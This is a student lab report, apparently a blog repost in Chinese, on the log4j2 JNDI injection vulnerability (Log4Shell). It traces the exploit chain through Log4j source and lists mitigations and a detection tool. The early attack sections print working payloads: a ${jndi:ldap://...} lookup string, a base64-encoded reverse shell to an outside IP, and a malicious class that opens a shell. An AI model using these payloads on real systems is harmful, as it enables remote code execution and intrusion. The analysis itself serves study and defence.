实验3 新的网络攻击手段的论述

一、简介

1、研究log4j2系列漏洞

​ 就在前不久,一个系列影响深远的CVE漏洞被公诸于世。可怕的是,它利用简单,影响广大(涉及80%以上的Java系统),甚至一度将危险评分设定为10分(最高为10分)。可能连设计者都没有想到,一个Java日志框架竟有如此之大的影响力。

2、影响范围说明

(1)全球使用log4j2的组件有6910个,前500个组件覆盖了92485个框架;

(2)使用log4j2的组件被框架调用超过1000个有19个,总体数量为数量41503个

(3)超过1000个框架调用的log4j版本为2.12.1、2.14.1、2.14.0、2.13.3、2.11.1、2.11.0、2.8.2 (以上均为存在漏洞版本),其中log4j 2.12.1版本使用最多 ,有1,458组件调用;

(4)使用log4j2前500的组件有112个未在2021年进行更新,也就是说有112个组件面临没有补丁可用的局面。前20只有一个未在2021年进行更新,最近一次更新时间为2020年7月15日;

log4j2影响范围

3、攻击效果:远程命令执行

(1)POC如下:

public static void main(String[] args) throws Exception {
    logger.error("${jndi:ldap://ip:port/badClassName}");
}

(2)VPS搭建LDAP服务

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+IC9kZXYvdGNwLzEzOS4xODAuMTkzLjE2Lzc3NzcgMD4mMQ==}|{base64,-d}|bash" -A "139.180.193.16"

#bash -i > /dev/tcp/139.180.193.16/7777 0>&1

(3)VPS上部署的恶意类

public class badClassName{
  public badClassName throws IOException{
    //执行打开计算器命令
        Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
    //反弹shell
    //Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/ip/port 0>&1"});
  }
}

二、攻击原理

利用链的开头与结尾

logger.error-->...-->JndiLookup.lookup

中间部分并不是原理的主要部分,只是为了通过一系列调用,找到JndiLookup的lookup方法,实现任意命令执行。

1、lookup方法为何可以实现任意命令执行

这里就先要简单说明一下JNDI注入

Java命名和目录接口(JNDI)是一种Java API,类似于一个索引中心,它允许客户端通过name发现和查找数据和对象。其应用场景例如动态加载数据库配置文件,从而保持数据库代码不变动等。
代码格式如下:

String jndiName= ...;//指定需要查找name名称
Context context = new InitialContext();//初始化默认环境
DataSource ds = (DataSourse)context.lookup(jndiName);//查找该name的数据

所谓的JNDI注入就是当上文代码中jndiName这个变量可控时,引发的漏洞,它将导致远程class文件加载,从而导致远程代码执行。

2、如何远程利用这个任意命令执行

(1)LDAP服务

LDAP(Lightweight Directory Access Protocol)-轻量目录访问协议。其特点如下:

  1. 基于TCP/IP协议
  2. 分成服务端/客户端;服务端存储数据,客户端与服务端连接进行操作

可以简单了解到,如果在远程开启这样的服务,那么就可以实现加载远程的类文件

(2)LDAP服务开启方式(有工具可以利用)

https://github.com/welk1n/JNDI-Injection-Exploit

三、工作流程

Step 1:环境搭建

实验环境:macOS、IDEA、maven、jdk8

在pom.xml中引入log4j相关依赖包,而后mvn clean install

<properties>
    <log4j-api-version>2.14.0</slf4j-api-version>
    <log4j-core-version>2.14.0</log4j-core-version>
</properties>
<dependencies>
    <dependency>
        <groupId>org.apache.logging.log4j</groupId>
        <artifactId>log4j-api</artifactId>
        <version>$&#123;log4j-api-version&#125;</version>
    </dependency>
    <dependency>
        <groupId>org.apache.logging.log4j</groupId>
        <artifactId>log4j-core</artifactId>
        <version>$&#123;log4j-core-version&#125;</version>
    </dependency>
</dependencies>

书写main.java(即对漏洞的简单实现)

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Main &#123;
    private static Logger logger = LogManager.getLogger(Main.class);
    public static void main(String[] args) &#123;
      //注意如果jdk>8_191 需要手动开启如下服务
      //System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
      
      //我这里使用自己的服务器提供ldap服务,而不在本地是为了更接近真实攻击方式
      logger.error("$&#123;jndi:ldap://139.180.193.16:1389/otqab5&#125;");
    &#125;
&#125;

Step 2:中间流程详述

(1)从logger.error()层层跟近到log方法

![截屏2022-03-08 上午1.09.29](/Users/chenkexin/Library/Application Support/typora-user-images/截屏2022-03-08 上午1.09.29.png)

(2)进入LoggerConfig.log方法(因为中间有一些不必要的代码,为节省空间,使用代码描述)

@PerformanceSensitive("allocation")
    public void log(final String loggerName, final String fqcn, final StackTraceElement location, final Marker marker,
        final Level level, final Message data, final Throwable t) &#123;
        // 无需关心的代码
        ...
        try &#123;
            // 跟入
            log(logEvent, LoggerConfigPredicate.ALL);
        &#125; finally &#123;
            ReusableLogEventFactory.release(logEvent);
        &#125;
    &#125;

(3)进入LoggerConfig另一处重载log方法,调用appender.controlcallAppender方法

protected void log(final LogEvent event, final LoggerConfigPredicate predicate) &#123;
    if (!isFiltered(event)) &#123;
        // 跟入
        processLogEvent(event, predicate);
    &#125;
&#125;
private void processLogEvent(final LogEvent event, final LoggerConfigPredicate predicate) &#123;
    event.setIncludeLocation(isIncludeLocation());
    if (predicate.allow(this)) &#123;
        // 关键点
        callAppenders(event);
    &#125;
    logParent(event, predicate);
&#125;

![截屏2022-03-08 上午1.08.12](/Users/chenkexin/Library/Application Support/typora-user-images/截屏2022-03-08 上午1.08.12.png)

层层跟入到AppenderControl.tryCallAppender方法

![截屏2022-03-08 上午1.19.22](/Users/chenkexin/Library/Application Support/typora-user-images/截屏2022-03-08 上午1.19.22.png)

![截屏2022-03-08 上午1.20.44](/Users/chenkexin/Library/Application Support/typora-user-images/截屏2022-03-08 上午1.20.44.png)

(4)进入AbstractOutputStreamAppender.append方法,进入到directEncodeEvent方法

protected void directEncodeEvent(final LogEvent event) &#123;
    getLayout().encode(event, manager);
    if (this.immediateFlush || event.isEndOfBatch()) &#123;
        manager.flush();
    &#125;
&#125;

关注其中的encode方法跟入到PatternLayout.encode方法

![截屏2022-03-08 上午1.23.32](/Users/chenkexin/Library/Application Support/typora-user-images/截屏2022-03-08 上午1.23.32.png)

(5)核心点在于toText方法

![截屏2022-03-08 上午1.24.36](/Users/chenkexin/Library/Application Support/typora-user-images/截屏2022-03-08 上午1.24.36.png)

![截屏2022-03-08 上午1.25.07](/Users/chenkexin/Library/Application Support/typora-user-images/截屏2022-03-08 上午1.25.07.png)

这里的formatters方法包含了多个formatter对象,其中出发漏洞的是第8个,其中包含MessagePatternConverter

![截屏2022-03-08 上午1.27.14](/Users/chenkexin/Library/Application Support/typora-user-images/截屏2022-03-08 上午1.27.14.png)

跟入看到调用了Converter相关的方法

public void format(final LogEvent event, final StringBuilder buf) &#123;
    if (skipFormattingInfo) &#123;
        converter.format(event, buf);
    &#125; else &#123;
        formatWithInfo(event, buf);
    &#125;
&#125;

不难看出每个formatterconverter为了构造日志的每一部分,这里在构造真正的日志信息字符串部分

![截屏2022-03-08 上午1.30.34](/Users/chenkexin/Library/Application Support/typora-user-images/截屏2022-03-08 上午1.30.34.png)

(6)跟入MessagePatternConverter.format方法,看到核心的部分

@Override
public void format(final LogEvent event, final StringBuilder toAppendTo) &#123;
    final Message msg = event.getMessage();
    if (msg instanceof StringBuilderFormattable) &#123;

        final boolean doRender = textRenderer != null;
        final StringBuilder workingBuilder = doRender ? new StringBuilder(80) : toAppendTo;

        final int offset = workingBuilder.length();
        if (msg instanceof MultiFormatStringBuilderFormattable) &#123;
            ((MultiFormatStringBuilderFormattable) msg).formatTo(formats, workingBuilder);
        &#125; else &#123;
            ((StringBuilderFormattable) msg).formatTo(workingBuilder);
        &#125;
        if (config != null && !noLookups) &#123;
            for (int i = offset; i < workingBuilder.length() - 1; i++) &#123;
                // 是否以$&#123;开头
                if (workingBuilder.charAt(i) == '$' && workingBuilder.charAt(i + 1) == '&#123;') &#123;
                    // 这个value是:$&#123;jndi:ldap://127.0.0.1:1389/badClassName&#125;
                    final String value = workingBuilder.substring(offset, workingBuilder.length());
                    workingBuilder.setLength(offset);
                    // 跟入replace方法
                    workingBuilder.append(config.getStrSubstitutor().replace(event, value));
                &#125;
            &#125;
        &#125;
        if (doRender) &#123;
            textRenderer.render(workingBuilder, toAppendTo);
        &#125;
        return;
    &#125;
    if (msg != null) &#123;
        String result;
        if (msg instanceof MultiformatMessage) &#123;
            result = ((MultiformatMessage) msg).getFormattedMessage(formats);
        &#125; else &#123;
            result = msg.getFormattedMessage();
        &#125;
        if (result != null) &#123;
            toAppendTo.append(config != null && result.contains("$&#123;")
                              ? config.getStrSubstitutor().replace(event, result) : result);
        &#125; else &#123;
            toAppendTo.append("null");
        &#125;
    &#125;
&#125;

进入StrSubstitutor.replace方法后关注StrSubstitutor.subtute方法,存在递归,逻辑较长

主要作用是递归处理日志输入,转为对应的输出

private int substitute(final LogEvent event, final StringBuilder buf, final int offset, final int length,
                       List<String> priorVariables) &#123;
    ...
    substitute(event, bufName, 0, bufName.length());
    ...
    String varValue = resolveVariable(event, varName, buf, startPos, endPos);
    ...
    int change = substitute(event, buf, startPos, varLen, priorVariables);
&#125;

这里是触发漏洞的必要条件

通常情况下程序员会这样写日志相关代码

logger.error("error_message:" + info);

黑客的恶意输入有可能进入info变量导致这里变成

logger.error("error_message:${jndi:ldap://139.180.193.16:1389/badClassName}");

(7)这里的递归处理成功地让jndi:ldap://139.180.193.16:1389/badClassName进入resolveVariable方法,而后调用至lookup方法

![截屏2022-03-08 上午1.39.04](/Users/chenkexin/Library/Application Support/typora-user-images/截屏2022-03-08 上午1.39.04.png)

不难看到this这里对应的元素都是可用的头部

例如可以使用${java:runtime} ${java:version}等输出系统java的相关信息

![截屏2022-03-08 上午1.40.10](/Users/chenkexin/Library/Application Support/typora-user-images/截屏2022-03-08 上午1.40.10.png)

Lookup的最终使用

![截屏2022-03-08 上午1.42.52](/Users/chenkexin/Library/Application Support/typora-user-images/截屏2022-03-08 上午1.42.52.png)

触发点在42行,关键代码如下,可与我开头所说呼应

@SuppressWarnings("unchecked")
public <T> T lookup(final String name) throws NamingException &#123;
    return (T) this.context.lookup(name);
&#125;

四、功能或后果

1、服务器攻击和ls命令执行

![截屏2022-03-08 上午2.05.44](/Users/chenkexin/Library/Application Support/typora-user-images/截屏2022-03-08 上午2.05.44.png)

![截屏2022-03-08 上午2.05.25](/Users/chenkexin/Library/Application Support/typora-user-images/截屏2022-03-08 上午2.05.25.png)

五、防范手段与措施

目前我们可以了解到最关键的利用点在于MessagePatternConverter类,从中方法判断${}这种情况

![截屏2022-03-08 上午1.27.14](/Users/chenkexin/Library/Application Support/typora-user-images/截屏2022-03-08 上午1.27.14.png)

而如果将其修改为MessagePatternConverter.SimplePatternConverter类,变成了直接拼接字符串的操作

private static final class SimpleMessagePatternConverter extends MessagePatternConverter &#123;
    private static final MessagePatternConverter INSTANCE = new SimpleMessagePatternConverter();
    @Override
    public void format(final LogEvent event, final StringBuilder toAppendTo) &#123;
        Message msg = event.getMessage();
        // 直接拼接字符串
        if (msg instanceof StringBuilderFormattable) &#123;
            ((StringBuilderFormattable) msg).formatTo(toAppendTo);
        &#125; else if (msg != null) &#123;
            toAppendTo.append(msg.getFormattedMessage());
        &#125;
    &#125;
&#125;

以下是我查询到的各大安全公司给出的防护意见:【3】

临时性缓解措施:

1、在 jvm 参数中添加 -Dlog4j2.formatMsgNoLookups=true
2、系统环境变量中将LOG4J_FORMAT_MSG_NO_LOOKUPS 设置为 true
3、创建 log4j2.component.properties 文件,文件中增加配置 log4j2.formatMsgNoLookups=true
4、若相关用户暂时无法进行升级操作,也可通过禁止Log4j中SocketServer类所启用的socket端对公网开放来进行防护
5、禁止安装log4j的服务器访问外网,并在边界对dnslog相关域名访问进行检测。部分公共dnslog平台如下

ceye.io
dnslog.link
dnslog.cn
dnslog.io
tu4.org
awvsscan119.autoverify.cn
burpcollaborator.net
s0x.cn

彻底修复漏洞:

建议您在升级前做好数据备份工作,避免出现意外
研发代码修复:升级到官方提供的 log4j-2.15.0-rc2 版本

六、漏洞检测

除了观察自己的版本以外,安全人员提供了一款检测工具【2】

https://pan.cnsre.cn/d/Package/Linux/360log4j2.zip

按如下步骤执行:

  1. 扫描源码:./log4j-discoverer –src”源码目录”
  2. 扫描jar包:./log4j-discoverer–jar “jar包文件”
  3. 扫描系统进程:./log4j-discoverer –scan

打入补丁后 log4j不再处理JNDI逻辑直接将JNDI字符串输出

七、个人总结

当然,后续还有相应的绕过与修复,使得这个系列漏洞成为了2021年的最大话题点。

我在当天发布漏洞时就做了一些尝试,给自己的热点名字设置成攻击payload,然后使用另一台安卓手机去连接,使用dnslog.cn做测试,结果成功执行,如下:

DB40DB1B51E8DCB0B16971A812CAE12E

还有我了解到的安全圈里的一些安全人员甚至对支付宝,苹果耳机等做尝试,均攻击成功(当然不是恶意攻击)

CCEAA1E3F8F0CA88A40D2143E3453DAF172DA255AC1829C6E6C1D413130E3486

总之,这个漏洞一经爆出,各大厂商,高校纷纷抓紧时间升级版本,打补丁。而后续又爆出了内网的一个CVE 导致整套攻击链形成。在2021年末掀起了轩然大波。

我利用这次实验的机会,好好把整个过程缕了一遍,学习了很多Java安全的知识,发现java安全分析的难度很高,今后还需要更多的学习。

参考链接

1、长亭科技:安全运营视角Log4j2 漏洞应急最佳实践https://www.anquanke.com/post/id/263430

2、https://segmentfault.com/a/1190000041107932

3、https://www.google.com.hk/url?sa=t&rct=j&q=&esrc=s&source=web&cd=&cad=rja&uact=8&ved=2ahUKEwj5icGc0rT2AhXZCIgKHaRnDoAQFnoECBcQAQ&url=http%3A%2F%2Fblog.nsfocus.net%2Fapache-log4j2%2F&usg=AOvVaw2KTL5DPDXqJbKvs0J1qv27

4、https://xz.aliyun.com/t/10649#toc-3

5、https://xz.aliyun.com/t/10689


文章作者: Turboost Chen
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Turboost Chen !
  目录